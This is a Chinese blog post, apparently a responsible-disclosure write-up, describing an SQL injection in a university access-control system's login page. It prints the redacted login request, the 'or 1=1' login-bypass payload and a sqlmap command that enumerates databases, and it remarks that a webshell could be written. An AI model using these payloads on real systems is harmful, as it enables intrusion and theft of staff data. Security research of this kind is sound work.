好久没更博客了,最近挖了下洞,分享个 sql 注入的案例
说明:漏洞已提交学校并确认修复。本文保留挖掘思路和关键 payload,目标域名、Cookie、账号、人员数据等敏感信息已脱敏。
这次测试的是某高校 WebVPN 后方的一套门禁/考勤系统。入口是一个常规登录页,字段包括账号、密码和验证码。
先抓登录请求包
登录请求大致如下,真实 Host、Cookie、路径已经脱敏:
POST /http/xxx/Page/NewSetting/Handler/LoginHandler.ashx?cmd=Login&enlink-vpn HTTP/1.1 Host: xxx.xxx.xxx.edu.cn Cookie:ENSSESSIONID=xxxxxxxxxmxx1;clientInfo=eyJ1c2xxxxxxx;GUESTSESSIONID=xxxxxxxx; vpn_timestamp=17xxxx29 Content-Length: 62 Sec-Ch-Ua-Platform: "Windows" X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36 Edg/148.0.0.0 Accept: application/json, text/javascript, */*; q=0.01 Sec-Ch-Ua: "Chromium";v="148", "Microsoft Edge";v="148", "Not/A)Brand";v="99" Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Sec-Ch-Ua-Mobile: ?0 Origin: https://xxx.xxx.xxx.edu.cn Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://xxx.xxx.xxx.edu.cn/http/xxxxxxx/Page/NewSetting/Login.aspx Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6 Priority: u=1, i Connection: keep-alive LoginType=account&UserName=xxx&Password=xxx&ValiCode=xxxxxx发现用户名和密码存在明文传输
并且验证码存在复用,对于登录失败次数和请求频率未做任何限制
可以一直重放,也可以进行用户名和密码爆破
爆破常见用户名和一些弱口令无果,继续测试其他漏洞
发现 UserName 参数存在 sql 注入,通过报错信息发现后端为 oracle 数据库
一开始尝试使用常见的引号和括号的组合进行闭合,发现都没办法正常闭合
想到可能是数字型的sql注入,果然使用万能密码登陆成功
Payload:
LoginType=account&UserName=1%20or%201=1&Password=111&ValiCode=50285进入系统后,可以看到门禁/考勤相关页面,包括人员信息、账号、卡号、时间和地点等
这里还可以往后遍历用户,很多老师的账号都可以实现无密码直接登录
这里除了万能密码,我们甚至可以直接查所有的数据
比如查数据库名:
sqlmap -r .\1.txt --batch --dbs并且验证发现,current user is DBA: True
账号具备 DBA 权限
至此,未做进一步测试,如果绝对路径能探测到并且当前情况来看是较高权限用户,可能导致webshell写入,危害将进一步扩大。
Sql 注入一般都是高危起步,目前该漏洞已修复